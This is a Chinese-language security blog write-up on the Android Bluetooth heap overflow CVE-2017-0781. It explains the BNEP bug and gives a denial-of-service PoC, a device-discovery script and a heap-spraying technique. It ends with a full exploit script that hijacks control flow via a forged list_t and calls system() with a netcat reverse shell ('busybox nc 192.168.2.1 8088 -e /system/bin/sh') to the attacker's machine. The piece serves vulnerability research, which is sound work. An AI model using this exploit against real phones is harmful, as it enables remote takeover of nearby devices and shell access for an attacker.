作者: thor

CVE-2017-0781是最近爆出的Android蓝牙栈的严重漏洞,允许攻击者远程获取Android手机的命令执行权限,危害相当大。armis给出的文档[1]中详细介绍了该漏洞的成因,但是并没有给出PoC和exploit,我们只好根据文档中的介绍自己摸索尝试编写exploit。

0x00 测试环境

  1. Android手机: Nexus 6p
  2. Android系统版本: android 7.0 userdebug
  3. Ubuntu 16 + USB蓝牙适配器

为了调试方便,nexus 6p刷了自己编译的AOSP 7.0 userdebug版本。

0x01 漏洞原理

CVE-2017-0781是一个堆溢出漏洞,漏洞位置在bnep_data_ind函数中,如下所示:

1

p_bcb->p_pending_data指向申请的堆内存空间,但是memcpy的时候目的地址却是p_bcb->p_pending_data + 1,复制内存时目的地址往后扩展了sizeof(p_pending_data)字节,导致堆溢出。p_pending_data指向的是一个8个字节的结构体BT_HDR,所以这里将会导致8个字节的堆溢出。
该漏洞看上去十分明显,但是由于这是蓝牙bnep协议的扩展部分,所以估计测试都没覆盖到。

0x02 PoC编写

该漏洞是蓝牙协议栈中BNEP协议处理时出现的漏洞,因此PoC的编写就是要向Android手机发送伪造的bnep协议包就行了。我们这里使用pybluez实现蓝牙发包,可以直接在Ubutnu上通过pip安装。armis的文档中给出了触发漏洞的bnep协议包格式:

1

PoC如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import bluetooth,sys
def poc(target):
pkt = '\x81\x01\x00'+ '\x41'*8
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
sock.connect((target, 0xf))
for i in range(1000):
sock.send(pkt)
data = sock.recv(1024)
sock.close()
if __name__ == "__main__":
if len(sys.argv) < 2:
print 'No target specified.'
sys.exit()
target = sys.argv[1]
poc(target)

简单说明一下PoC程序,我们首先通过BluetoothSocket建立与对方的L2CAP连接,类比于我们熟悉的TCP连接,然后我们在建立的L2CAP连接之上向对方发送bnep协议数据包,类比于建立TCP连接后发送的应用层数据包,而包的格式就是前面介绍的内容。我们知道触发漏洞后会覆盖堆中的内容,那么我们PoC的效果就是会用8个字节”A”覆盖堆中的某些数据。我们通过发送1000个构造的畸形数据包到对方,那么极有可能这其中就会覆盖到某些重要数据,导致蓝牙服务程序发生内存访问错误崩溃。
运行PoC:

python poc.py <target>

其中target是目标手机的蓝牙MAC地址,类似于wifi的MAC地址。PoC编写好后我们可以开始测试了,首先打开手机的蓝牙,然后我们在Ubuntu上运行以下脚本来查找附近的蓝牙设备:

1
2
3
4
5
6
7
import bluetooth
nearby_devices = bluetooth.discover_devices(lookup_names=True)
print("found %d devices" % len(nearby_devices))
for addr, name in nearby_devices:
print(" %s - %s" % (addr, name))

运行结果如下:

1

发现的AOSP蓝牙设备就是我们的测试手机。直接运行PoC,并通过adb logcat 查看测试手机的日志:

1

可以看到我们的PoC直接远程让手机上的蓝牙服务崩溃,并且寄存器中出现了我们指定的内容,说明我们成功实现了堆溢出,覆盖了堆中的某些数据,导致蓝牙服务程序出现内存访问错误。至此,我们的PoC已经实现了远程使android手机蓝牙功能拒绝服务,下一步就是从堆溢出到获取命令执行权限的过程。

0x03 exploit 编写

Android使用的是jemalloc来管理堆内存,分配堆内存的时候内存块之间是没有元数据的,因此无法使用ptmalloc中覆盖元数据的漏洞利用方法。我们也是刚开始接触jemalloc,参考了[2]中的漏洞利用方法,发现由于该漏洞只能溢出8个字节的限制,似乎都不太好用。摸索好久最后发现只有期望于能够覆盖堆中的某些数据结构,而这些结构包含函数指针,从而获取代码执行权限。

我们知道jemalloc使用run来管理堆内存块,相同大小的堆内存在同一个run中挨着存放。因此,只要我们构造与目标数据结构相同大小的内存块,那么通过大量堆喷,则极有可能覆盖掉目标数据结构的前8个字节。该漏洞有一个优势就是我们可以控制申请的内存块大小,那么理论上我们就可以覆盖堆上绝大部分数据结构。

经过我们不断调试和测试,我们发现当我们申请的内存大小为32字节时,通过大量堆喷,我们可以覆盖fixed_queue_t数据结构的前8个字节,而该数据结构被蓝牙协议栈频繁使用:

1
2
3
4
5
6
7
8
9
10
11
typedef struct fixed_queue_t {
list_t* list;
semaphore_t* enqueue_sem;
semaphore_t* dequeue_sem;
std::mutex* mutex;
size_t capacity;
reactor_object_t* dequeue_object;
fixed_queue_cb dequeue_ready;
void* dequeue_context;
} fixed_queue_t;

我们覆盖的8个字节刚好能够覆盖list指针,list结构体如下:

1
2
3
4
5
6
7
typedef struct list_t {
list_node_t* head;
list_node_t* tail;
size_t length;
list_free_cb free_cb;
const allocator_t* allocator;
} list_t;

可以看到该结构体包含一个list_free_cb类型的变量,而该类型恰好为一个函数指针:

typedef void (*list_free_cb)(void* data);

那么我们的一种漏洞利用思路就有了,就是首先通过堆喷覆盖 fixed_queue_t前8个字节,控制list指针指向我们伪造的list_t结构体,从而控制free_cb的值,达到劫持pc的目的。当我们伪造的free_cb被调用的时候,那么进程的执行就会被我们控制。我们通过查看bt/osi/src下的源文件发现free_cb会在list_free_node_函数中被调用:

1
2
3
4
5
6
7
8
9
10
11
12
static list_node_t* list_free_node_(list_t* list, list_node_t* node) {
CHECK(list != NULL);
CHECK(node != NULL);
list_node_t* next = node->next;
if (list->free_cb) list->free_cb(node->data);
list->allocator->free(node);
--list->length;
return next;
}

我们继续查看调用,找到了一条触发的调用链:

fixed_queue_try_enqueue-->list_remove-->list_free_node_->free_cb

而fixed_queue_try_enqueue会在蓝牙栈的协议处理时用到,所以只要我们能控制list_t结构体,就能劫持蓝牙进程的执行。

接下来我们需要找到伪造list_t结构体的办法。我们首先可以假设我们通过大量堆喷,在堆中放置了很多我们伪造的list_t结构体,并且通过堆喷使得某已知堆地址addr_A恰好放置了我们伪造的一个list_t结构体,那么我们只需再通过堆喷来覆盖fixed_queue_t结构体的前8个字节,包内容如下所示:

pkt = '\x81\x01\x00'+ struct.pack('<I', addr_A) * 8

通过这种覆盖,我们成功使得fixed_queue_t中的list指针指向我们伪造的list_t结构体,那么free_cb的执行将使我们成功劫持进程执行。

由上述可知,这种利用方法需要两次对喷,第一次先在堆中放置大量的list_t结构体,第二次再通过堆喷去溢出fixed_queue_t结构体。这里有一个难点就是第二次堆喷必须知道一个固定的堆地址,而这个地址需要第一次堆喷去覆盖到。一种方法是根据jemalloc的分配规则去爆破,另一种就是根据jemalloc分配规律硬编码一个地址。为了简单起见,我们使用第二种方法。我们第一次堆喷时选择堆块的大小为96字节,首先通过gdb调试观察jemalloc的分配:

1

我们多次调试发现,蓝牙进程每次重启后总有0xe6790000这条run是分配的96字节大小,那么我们可以选取这条run靠后的某个region作为我们的addr_A,这里我们选取0xe6792a00这个region:

1

还有一个问题就是由于堆喷的时候每个region的前8个字节可能会被覆盖掉,所以这里我们在放置伪造的list_t结构体时需要往后点,所以我们得到选取的addr_A为:

addr_A =  0xe6792a00 + 8 

接下来我们开始构造list_t结构体,如下图所示:

1

如果一切顺利,那么通过两次堆喷,我们将会劫持到PC,而蓝牙进程会在0x41414141处崩溃,测试过程这里不再演示,我们继续下一步。顺利劫持PC后,我们怎样能执行shellcode呢?一种复杂的方式是stack pivot + ROP + shellcode,另一种简单的就是ret2libc,直接跳转到libc中的system函数,我们只需提前构造好参数就行了。

我们调试和测试发现,当我们劫持pc执行system函数的时候,r0寄存器负责传递命令字符串参数地址,正好指向我们控制的list->head->data,因此我们只要构造好该参数即可。最终构造好的结构如下所示:

1

为了防止进程意外崩溃,我们还原了list_t结构体中的allocator_t结构体,包含了osi中堆分配和回收的函数地址。这里用到的3个函数地址system、osi_alloc、osi_free都可以通过CVE-2017-0785的信息泄露漏洞获取到。

通过以上分析,我们可以得到第一次堆喷所发送的数据包内容:

1
pkt = '\x81\x01\x00'+ p32(addr_A+0x20 )*2 + '\x01\x00\x00\x00' + p32(system_addr) + p32(addr_A + 0x14) + p32(osi_alloc_addr) + p32(osi_free_addr)+ '\x00'*8 + p32(addr_A+0x28) + cmd_str + '\x00'*(48-len(cmd_str))

综上所述,我们可以得到exploit脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
import bluetooth,time
addr_A = 0xe6792a00 + 8
cmd_str = "busybox nc 192.168.2.1 8088 -e /system/bin/sh &" + '\x00'
libc_base = 0xf34cf000
system_addr = libc_base + 0x64a30 + 1
bluetooth_base_addr = 0xeb901000
osi_alloc_addr = bluetooth_base_addr + 0x15b885
osi_free_addr = bluetooth_base_addr + 0x15b8e5
pkt1 = '\x81\x01\x00'+ p32(addr_A+0x20)*2 + '\x01\x00\x00\x00' + p32(system_addr) + p32(addr_A+0x14) + p32(osi_alloc_addr) + p32(osi_free_addr)+ '\x00'*8 + p32(addr_A+0x28) + cmd_str + '\x00'*(48-len(cmd_str))
pkt2 = '\x81\x01\x00'+ p32(addr_A) * 8
def heap_spray():
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
sock.connect((target, 0xf))
for i in range(500):
sock.send(pkt1)
data = sock.recv(1024)
sock.close()
def heap_overflow():
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
sock.connect((target, 0xf))
for i in range(3000):
sock.send(pkt2)
data = sock.recv(1024)
sock.close()
if __name__ == "__main__":
if len(sys.argv) < 2:
print 'No target specified.'
sys.exit()
target = sys.argv[1]
print "start heap spray"
heap_spray()
time.sleep(10)
print "start heap overflow"
heap_overflow()

脚本中libc.so和bluetooth.default.so的加载基址可由信息泄露漏洞获得,这里我们直接给出。脚本中通过system函数执行的是通过nc反弹shell的命令,我们首先在本地通过nc监听8088端口,然后运行exploit脚本如下:

1

如果两次堆喷都成功的话,我们可以在本地得到反弹的shell,用户为bluetooth:

1

一般情况下执行3到5次exploit就能成功反弹shell。

0x04 总结

本文研究了Android蓝牙栈的远程命令执行漏洞CVE-2017-0781,探索了从PoC到编写exploit的过程,算是比较顺利地写出了exploit,还有一点缺陷就是堆中固定地址addr_A的获取,现在暂时只能根据不同手机硬编码。欢迎大家一起研究探讨!

##参考文献:

[1] http://go.armis.com/hubfs/BlueBorne%20Technical%20White%20Paper.pdf
[2] http://phrack.org/issues/68/10.html